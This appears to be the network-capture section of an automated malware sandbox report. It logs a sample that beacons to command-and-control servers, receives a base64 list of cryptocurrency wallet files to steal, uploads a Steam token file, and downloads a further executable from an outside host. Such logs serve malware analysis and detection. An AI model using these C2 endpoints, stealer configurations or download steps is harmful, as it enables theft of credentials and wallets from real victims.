Dec 7, 2024 08:43:46.709311962 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:46 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 7, 2024 08:43:46.711930990 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHIJJJEGDBFHDHJJDBAK Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 4a 45 47 44 42 46 48 44 48 4a 4a 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 31 30 30 61 39 61 38 63 37 62 33 65 38 33 65 64 66 35 62 64 64 36 36 37 61 34 35 37 35 39 30 35 61 63 61 64 65 36 33 38 30 36 39 61 39 32 64 31 37 64 63 39 66 34 66 61 38 33 30 33 62 65 61 61 63 38 65 62 38 39 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 4a 45 47 44 42 46 48 44 48 4a 4a 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 4a 45 47 44 42 46 48 44 48 4a 4a 44 42 41 4b 2d 2d 0d 0a Data Ascii: ------GHIJJJEGDBFHDHJJDBAKContent-Disposition: form-data; name="token"4c100a9a8c7b3e83edf5bdd667a4575905acade638069a92d17dc9f4fa8303beaac8eb89------GHIJJJEGDBFHDHJJDBAKContent-Disposition: form-data; name="message"files------GHIJJJEGDBFHDHJJDBAK--
Dec 7, 2024 08:43:47.150768042 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 08:43:47.162455082 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFCAFCFBAEHIDHJDBGC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 31 30 30 61 39 61 38 63 37 62 33 65 38 33 65 64 66 35 62 64 64 36 36 37 61 34 35 37 35 39 30 35 61 63 61 64 65 36 33 38 30 36 39 61 39 32 64 31 37 64 63 39 66 34 66 61 38 33 30 33 62 65 61 61 63 38 65 62 38 39 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="token"4c100a9a8c7b3e83edf5bdd667a4575905acade638069a92d17dc9f4fa8303beaac8eb89------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="file"------BKFCAFCFBAEHIDHJDBGC--
Dec 7, 2024 08:43:48.091247082 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 08:43:48.121196032 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDBAFHJJDAKEBGCFCBG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 31 30 30 61 39 61 38 63 37 62 33 65 38 33 65 64 66 35 62 64 64 36 36 37 61 34 35 37 35 39 30 35 61 63 61 64 65 36 33 38 30 36 39 61 39 32 64 31 37 64 63 39 66 34 66 61 38 33 30 33 62 65 61 61 63 38 65 62 38 39 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="token"4c100a9a8c7b3e83edf5bdd667a4575905acade638069a92d17dc9f4fa8303beaac8eb89------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="message"ybncbhylepme------EGDBAFHJJDAKEBGCFCBG--
Dec 7, 2024 08:43:48.560714006 CET	271	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49795	185.215.113.16	80	828	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 08:43:48.685349941 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 7, 2024 08:43:50.033873081 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 07:43:49 GMT Content-Type: application/octet-stream Content-Length: 3203584 Last-Modified: Sat, 07 Dec 2024 07:33:33 GMT Connection: keep-alive ETag: "6753fa4d-30e200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 f0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0@ 1#1@Wk00 @.rsrc@.idata @pehggevz0$@hfkshdco00@.taggant00"0@
Dec 7, 2024 08:43:50.033911943 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 08:43:50.034709930 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 08:43:50.034771919 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 08:43:50.034782887 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 08:43:50.035861969 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 08:43:50.035882950 CET	1236	IN	Data Raw: 87 bb 2d 31 c2 ba 6a 7c 4e 63 33 19 df 74 f1 30 62 1d 1f f7 1a e1 4b 1c 1a f9 c6 20 4d 35 2f 99 a7 bb 2d 31 c2 ba 6a 7c 4e 63 33 19 d7 74 f1 30 62 f5 1d f7 1a e1 6b 1c 1a f9 c6 00 4d 35 2f 99 c7 bb 2d 31 c2 ba 6a 7c 4e 63 33 19 cf 74 f1 30 62 65 Data Ascii: -1j\|Nc3t0bK M5/-1j\|Nc3t0bkM5/-1j\|Nc3t0be`L5/-1j\|Nc3t0b@L5/-1j\|Nc3t0b- K5/'-1j\|Nc3t0b%K5/G-1j\|Nc3t0bJ5/g-1j\|Nc3t0b
Dec 7, 2024 08:43:50.035893917 CET	248	IN	Data Raw: 1a e1 0b 19 1a f9 c6 e0 3e 35 2f 99 67 8c 2d 31 c2 ba 6a 7c 4e 63 3f 19 53 77 f1 30 62 55 0d f7 1a e1 2b 19 1a f9 c6 c0 3e 35 2f 99 87 8c 2d 31 c2 ba 6a 7c 4e 63 3b 19 3f 77 f1 30 62 11 22 f7 1a e1 4b 17 1a f9 c6 20 3e 35 2f 99 a7 8c 2d 31 c2 ba Data Ascii: >5/g-1j\|Nc?Sw0bU+>5/-1j\|Nc;?w0b"K >5/-1j\|Nc?w0bk>5/-1j\|NcCv0b%`=5/-1j\|Nc'v0b!@=5/-1j\|NcCv0b<5/'-1j\|Nc'v0b$<5/G-1j
Dec 7, 2024 08:43:50.036428928 CET	1236	IN	Data Raw: c3 76 f1 30 62 9d 22 f7 1a e1 0b 18 1a f9 c6 e0 3b 35 2f 99 67 8d 2d 31 c2 ba 6a 7c 4e 63 3f 19 ab 76 f1 30 62 1d 09 f7 1a e1 2b 18 1a f9 c6 c0 3b 35 2f 99 87 8d 2d 31 c2 ba 6a 7c 4e 63 33 19 97 76 f1 30 62 2d 0a f7 1a e1 4b 16 1a f9 c6 20 3b 35 Data Ascii: v0b";5/g-1j\|Nc?v0b+;5/-1j\|Nc3v0b-K ;5/-1j\|Nc7v0b]k;5/-1j\|Nc?sv0b`:5/-1j\|Nc'_v0b@:5/-1j\|Nc'Sv0bE95/'-1j\|Nc'Gv0b=#95/
Dec 7, 2024 08:43:50.036545992 CET	1236	IN	Data Raw: 27 86 2d 31 c2 ba 6a 7c 4e 63 33 19 4b 82 f1 30 62 9d 07 f7 1a e1 eb 12 1a f9 c6 80 2d 35 2f 99 47 86 2d 31 c2 ba 6a 7c 4e 63 3f 19 43 82 f1 30 62 65 07 f7 1a e1 0b 13 1a f9 c6 e0 2c 35 2f 99 67 86 2d 31 c2 ba 6a 7c 4e 63 33 19 2f 82 f1 30 62 5d Data Ascii: '-1j\|Nc3K0b-5/G-1j\|Nc?C0be,5/g-1j\|Nc3/0b]!+,5/-1j\|Nc7'0bu K ,5/-1j\|Nc}0bk,5/-1j\|Nc+}0b`+5/-1j\|Nc+}0b@+5/-1j\|Nc'}0b
Dec 7, 2024 08:43:50.153724909 CET	1236	IN	Data Raw: 16 f9 6a 7c 4e 24 a8 9c c4 82 5d 3f c4 b9 a9 f6 16 29 74 36 87 f4 f1 30 b5 fe 84 30 90 34 27 b4 5a f5 fe 98 be e4 2f 31 98 b5 26 bc 54 2f fa 72 16 f9 6a 7c 4e 7c ed 34 54 f8 c2 35 d6 f9 fe 98 77 e4 2f 31 c2 ba 6a 7c 4e bd 6a 7c 4e bd 6a 7c 4e bd Data Ascii: j\|N$]?)t6004'Z/1&T/rj\|N\|4T5w/1j\|Nj\|Nj\|Nj\|N4cte?o\|N$]s60%t8E('Gh.Vv,q4q?E83xs10Xj\|Nj\|N(G.Wj\|Nj\|N$8h-1&T/rj\|Nj\|N$8&o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49812	185.215.113.206	80	828	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 08:43:55.566385031 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGHCGCBKFIECBFHIDG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 48 43 47 43 42 4b 46 49 45 43 42 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 31 30 30 61 39 61 38 63 37 62 33 65 38 33 65 64 66 35 62 64 64 36 36 37 61 34 35 37 35 39 30 35 61 63 61 64 65 36 33 38 30 36 39 61 39 32 64 31 37 64 63 39 66 34 66 61 38 33 30 33 62 65 61 61 63 38 65 62 38 39 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 48 43 47 43 42 4b 46 49 45 43 42 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 48 43 47 43 42 4b 46 49 45 43 42 46 48 49 44 47 2d 2d 0d 0a Data Ascii: ------ECBGHCGCBKFIECBFHIDGContent-Disposition: form-data; name="token"4c100a9a8c7b3e83edf5bdd667a4575905acade638069a92d17dc9f4fa8303beaac8eb89------ECBGHCGCBKFIECBFHIDGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------ECBGHCGCBKFIECBFHIDG--
Dec 7, 2024 08:43:57.398184061 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49971	185.215.113.43	80	3780	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 08:45:04.438424110 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 7, 2024 08:45:05.771265984 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 07:45:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49977	185.215.113.43	80	3780	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 08:45:07.403076887 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 7, 2024 08:45:08.756017923 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 07:45:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 31 32 38 39 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 32 39 30 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 32 39 30 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 32 39 30 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1012899001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1012900001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1012901001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1012902001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49710	142.250.181.100	443	1988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:15 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-07 07:43:15 UTC	1266	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:15 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-MNufz0-uMAiclx6CsVk0qg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-07 07:43:15 UTC	124	IN	Data Raw: 33 30 37 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 77 69 63 6b 65 64 20 6d 6f 76 69 65 20 73 74 72 65 61 6d 69 6e 67 20 64 61 74 65 22 2c 22 70 68 69 6c 61 64 65 6c 70 68 69 61 20 65 61 67 6c 65 73 20 76 73 20 63 61 72 6f 6c 69 6e 61 20 70 61 6e 74 68 65 72 73 22 2c 22 6a 69 6e 67 6c 65 20 6a 6f 79 20 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 22 2c 22 74 68 65 20 64 6f 64 6f 22 2c Data Ascii: 307)]}'["",["wicked movie streaming date","philadelphia eagles vs carolina panthers","jingle joy monopoly go","the dodo",
